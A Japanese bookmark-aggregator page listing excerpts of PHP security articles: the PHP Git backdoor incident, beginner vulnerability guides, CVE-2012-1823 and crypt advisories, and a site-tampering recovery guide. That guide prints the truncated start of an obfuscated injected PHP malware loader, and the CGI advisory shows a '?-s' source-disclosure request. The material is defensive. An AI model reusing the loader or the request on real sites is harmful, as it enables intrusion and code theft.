ハッカーがPHPの開発者になりすましてソースコードにバックドアを仕込んでいたことが判明
オープンソースのプログラミング言語であるPHPの開発者らが使用していたGitサーバーに何者かが侵入し、PHPのソースコードにバックドアをしかけていたことが判明しました。ハッカーは悪意のあるコミットをプッシュする際、PHPの開発者であるラスマス・ラードフ氏らになりすましていました。 php.internals: Changes to Git commit workflow https://news-web.php.net/php.internals/113838 PHP's Git server hacked to add backdoors to PHP source code https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/
駆け出しエンジニアの皆さんに知ってほしい脆弱性のこと。
セキュリティは難しいです。 ですが、プログラミング初学者の皆さんは必要以上に萎縮せず、どんどんアプリケーションを作り、公開することにチャレンジして欲しいと私は思っています。 一方、事実として、脆弱なアプリケーションが公開されている（サーバ上でアクセス可能な状態になっている）だけで、全く無関係な第三者が被害を被る可能性があることは知っておく必要があります。 それはWordPressを使った単なるWebサイトであったとしても同じです。 また、あなたのアプリケーションが破壊されて困らないものであったり、 個人情報を保持していないものであったとしても、です。 だから、知らなかった、では済まされないこともあります。 この記事では、PHPのソースを例に、 特にプログラミング初学者が生み出しやすいアプリケーションの脆弱性について、 具体的なコードを挙げながら解説します。 なお、本記事のサンプルコードはも
register_globalsとは ウェブの人気・最新記事を集めました - はてな
プログラミング言語PHPの動作設定項目の一つ。 この項目は、Webクライアント（Webブラウザ等）から送信されたデータをPHPプログラムに変数として受け渡すときの展開方法を指定する。 例として http://www.example.com/example.php?a=1&b=2 というURL(このURL自体は架空のものである)にアクセスし、サーバwww.example.com上のexample.phpを呼び出すとする。このとき、example.phpの動作開始時の状態はregister_globalsの設定によって変化する。 register_globals=off の設定では、example.phpの動作が開始される段階で、PHPの配列変数 $_GET['a']と$HTTP_GET_VARS['a']が1,$_GET['b']と$HTTP_GET_VARS['b']が2という内容に初期化
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823)
CGI環境でPHPを動作させているサイトには、リモートからスクリプト実行を許してしまう脆弱性があります。php.netから提供されている修正リリース(PHP 5.3.12 / PHP 5.4.2)は不完全なため、該当するサイトは至急回避策を導入することを推奨します。 概要 CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトのコマンドライン引数として指定されます。 例えば、http://example.jp/test.cgi?foo+bar+bazという呼び出しに対しては、test.cgiは以下のコマンドラインで呼び出されます。 test.cgi foo bar baz この仕様を悪用して、CGI版のPHPにコマンドライン引数としてPHPのオプションを指定できます。例えば、http://example.jp/test.php?-s というリクエストは、-s
facebookにPHP CGIの脆弱性を試してみたら面白い対策がされていた！！ - cakephperの日記(CakePHP, Laravel, PHP)
PHPに新たな脆弱性が見つかって、CGIモードで動作するPHPの場合コマンドライン引数がHTTP経由で渡せてしまうため、-sオプションを渡すとPHPのソースコードが丸見えになるというのが話題になってます。(-sオプションはhtmlでシンタックスハイライトまでしてくれてコードが見やすくなる) そこでFacebookに向けてこれを試してみると・・・ https://www.facebook.com/?-s こんな情報が！！ <?php include_once 'https://www.facebook.com/careers/department?dept=engineering&req=a2KA0000000Lt8LMAS'; このURLにアクセスすると、セキュリティエンジニアの求人情報ページに行きます :) おしゃれー
5分でできるPHPセキュリティ対策 - ぼくはまちちゃん！
こんにちはこんにちは！！ Webプログラミングしてますか！ よく「PHPはセキュリティがダメ」とか言われてるよね。 でもそれって、べつにPHPが悪いんじゃなくて、 たぶん、セキュリティとかが、まだよくわからない人が多いだけなんじゃないかな。 がんばって勉強しようと思っても、なんだか難しい理屈が並んでいたりするしね…。 なので今日は、セキュリティ対策について、 「これだけやっとけば、わりと安全になるよ」ってことを、初心者むけに、大雑把に書いてみます！ 理屈がわからなくても、最初はコピペでも、 なにもやらないより、やったほうがきっとマシになる！ 1. XSS対策 動的なものを表示するとき、全部エスケープすればokです！ (NG) あなたの名前は <?= $name ?> ですね！ ↓ (OK) あなたの名前は <?= htmlspecialchars($name, ENT_QUOTES) ?>
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
PHP5.4のhtmlspecialcharsに非互換問題
第3引数を指定していない場合の影響前述のように、htmlspecialchars関数の第3引数を指定していない場合、PHP5.3までは、文字エンコーディングがISO-8859-1が指定されたとみなされます。この場合、入力内容にかかわらず不正な文字エンコーディングと判定されることはありません。したがって、文字エンコーディングのチェックが働かない代わりに、エラーになることもありませんでした。 これに対して、PHP5.4の仕様により文字エンコーディングがUTF-8とみなされた場合に、Shift_JISやEUC-JPの2バイト文字が入力されると、高い確率で「UTF-8として不正」というエラーになり、htmlspecialchars関数の出力は空になります。つまり、プログラムが正常に動作しません。 htmlspecialchars関数の第3引数を指定しておらず、内部文字エンコーディングがShift_
連載: IBM Watson Workspace #鬼わか アプリケーション開発: 第 7 回: IBM Watson Workspace で AI を利用したアプリ連携の実現 #鬼わか 解説（前編）
PHPのイタい入門書を読んでAjaxのXSSについて検討した(1) - ockeghem's blog
このエントリでは、あるPHPの入門書を題材として、Ajaxアプリケーションの脆弱性について検討します。全3回となる予定です。 このエントリを書いたきっかけ twitterからタレコミをちょうだいして、作りながら基礎から学ぶPHPによるWebアプリケーション入門XAMPP/jQuery/HTML5で作るイマドキのWeという本を読みました。所感は以下の通りです。 タレコミ氏の主張のように、本書はセキュリティを一切考慮していない 主な脆弱性は、XSS、SQLインジェクション、任意のサーバーサイド・スクリプト実行（アップロード経由）、メールヘッダインジェクション等 脆弱性以前の問題としてサンプルスクリプトの品質が低い。デバッグしないと動かないスクリプトが多数あった 上記に関連して、流用元のソースやデバッグ用のalertなどがコメントとして残っていて痛々しい 今時この水準はないわーと思いました。以前
もし『よくわかるPHPの教科書』の著者が徳丸浩の『安全なWebアプリケーションの作り方』を読んだら - ockeghem's blog
たにぐちまことさんの書かれた『よくわかるPHPの教科書（以下、「よくわかる」）』を購入してパラパラと見ていたら、セキュリティ上の問題がかなりあることに気がつきました。そこで、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方（以下、徳丸本）」の章・節毎に照らし合わせて、「よくわかる」の脆弱性について報告します。主に、徳丸本の4章と5章を参照します。 4.2 入力処理とセキュリティ 「よくわかる」のサンプルや解説では、入力値検証はほとんどしていません。しかし、入力値検証をしていないからといって即脆弱かというとそうではありません。徳丸本でも強調しているように、入力値検証はアプリケーション要件（仕様）に沿っていることを確認するもので、セキュリティ対策が目的ではないからです。 「よくわかる」の中で、私が見た範囲で唯一の入力値検証は、郵便番号のチェックをするものです。以下に引用します（「よくわ
PHP5.3.7のcrypt関数に致命的な脆弱性(Bug #55439)
PHP5.3.7のcrypt関数には致命的な脆弱性があります。最悪のケースでは、任意のパスワードでログインできてしまうという事態が発生します。該当する利用者は、至急、後述する回避策を実施することを推奨します。 概要 PHPのcrypt関数は、ソルト付きハッシュ値を簡単に求めることができます（公式リファレンス）。crypt関数のハッシュアルゴリズムとしてMD5を指定した場合、ソルトのみが出力され、ハッシュ値が空になります。これは、crypt関数の結果がソルトのみに依存し、パスワードには影響されないことを意味し、crypt関数を認証に用いている場合、任意のパスワードでログインに成功する可能性があります。 影響を受けるアプリケーション crypt関数を用い、ハッシュアルゴリズムとしてMD5を指定しているアプリケーション。 環境にも依存しますが、デフォルトがMD5の場合もあります。筆者のテスト環境
phpMyAdminにおける任意スクリプト実行可能な脆弱性の検証 - ockeghem's blog
phpMyAdmin（3.3.10.2未満、3.4.3.1未満）には、リモートから任意のスクリプトが実行可能な脆弱性があります。このエントリでは、この脆弱性が発生するメカニズムと対策について報告します。 概要 phpMyAdminには下記の2種類の脆弱性の組み合わせにより、リモートから任意のスクリプトを実行させられる脆弱性があります。 CVE-2011-2505 CVE-2011-2506 該当するバージョンは以下の通りです。 phpMyAdmin バージョン3.3.10.2未満 phpMyAdmin バージョン3.4.3.1未満 影響を受ける条件は、上記バージョンのphpMyAdminを使用していることに加えて、以下をすべて満たす場合です。 setup/index.phpとsetup/config.phpを外部から実行できる phpMyAdminのconfigディレクトリが存在し、PHP
第5回 携帯サイトでセッションを取り扱う | gihyo.jp
携帯サイトでのセッション管理 今回は携帯で会員サイトを作る時のベースとなるログイン状態の管理方法を見ていきたいと思います。セッションとはユーザーがサーバーに接続し、サイトを巡回している間アクセスしてきているのが同一利用者であることを認識するための仕組みです。この仕組みを利用することで、一度会員ログインが完了した利用者がサイトにアクセス中、継続的に自分だけの情報を見るといったことが実現可能になります。 図1 セッションの仕組み セッションを維持するためには、セッションIDを利用します。通常セッション管理はアクセスしてきた端末に対してセッションIDを割り振り、ブラウザに対して割り振られたセッションIDを渡します。サイト側はそのセッションIDに紐付いた情報を保持しておき、アクセスしてきたブラウザのセッションIDを元に情報を引き出すといった仕組みになっています。 ブラウザがセッション管理を行う方法
PHPのSession Adoptionは重大な脅威ではない - ockeghem's blog
なぜPHPアプリにセキュリティホールが多いのか?：第25回 PHPのアキレス腱にて、大垣靖男氏がPHPのSession Adoption問題について取り上げている。大垣氏は度々この問題を取り上げているが、今のところ氏の主張に同調する人を見かけない。それもそのはずで、大垣氏の主張は間違っていると私は思う。 以下、大垣氏の主張を実際に試してみる形で、順に説明しよう。 大垣氏の主張 大垣氏の主張は、PHPにはSession Adoption脆弱性があるために、標準的なSession Fixation対策であるsession_regenerate_id()を施しても、その対策は有効ではないというものだ。 しかし，実際には現在に至るまでPHPのセッションモジュールのセッションアダプション脆弱性は修正されないままになっています。このために，本来はsession_regenerate_id関数をログイン
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
PHPでセキュリティを真面目に考える
とくまるひろしのSession Fixation攻撃入門 - ockeghem's blog